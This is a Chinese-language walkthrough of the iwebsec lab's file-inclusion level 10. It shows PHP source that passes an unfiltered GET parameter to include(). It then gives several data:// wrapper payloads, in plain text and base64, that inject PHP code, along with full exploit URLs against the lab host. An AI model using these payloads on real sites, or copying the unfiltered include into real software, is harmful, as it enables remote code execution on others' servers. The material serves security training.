目录
前言
1.data伪协议
2.使用条件
第10关 data://伪协议利用
1.打开靶场
2.源码分析
3.渗透
(1)明文渗透
(2)base64编码渗透
前言
1.data伪协议
data协议和input协议差不多,指定data是get方法,而input是post方法
常用方法为
?file=data://,<?php phpinfo();?>
?file=data://text/html,<?php phpinfo();?>
?file=data:text/html,<?php phpinfo();?>
?file=data://text/html;base64,PD9waHAgcGhwaW5mbygpOz8+
?file=data:text/html;base64,PD9waHAgcGhwaW5mbygpOz8+
2.使用条件
使用条件:
1.allow_url_fopen: on
2.allow_url_include:on
第10关 data://伪协议利用
1.打开靶场
http://iwebsec.com:81/fi/10.php
访问后如下所示,提示使用data协议进行渗透
2.源码分析
如下所示include函数对参数没有任何过滤,存在文件包含漏洞
<?php
require_once('../header.php');
?>
<html>
<head>
<title>data://伪协议利用</title>
</head>
<h2>data://伪协议利用</h2>
<div class="alert alert-success">
<p>/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b </p>
</div>
<body>
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
3.渗透
(1)明文渗透
http://iwebsec.com:81/fi/10.php?filename=data:text/html, <?PHP phpinfo();?>
(2)base64编码渗透
PD9waHAgcGhwaW5mbygpOz8%2b是<?php phpinfo();?>的base64编码
于是构造如下data协议,即
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
故而文件包含渗透url为
http://iwebsec.com:81/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b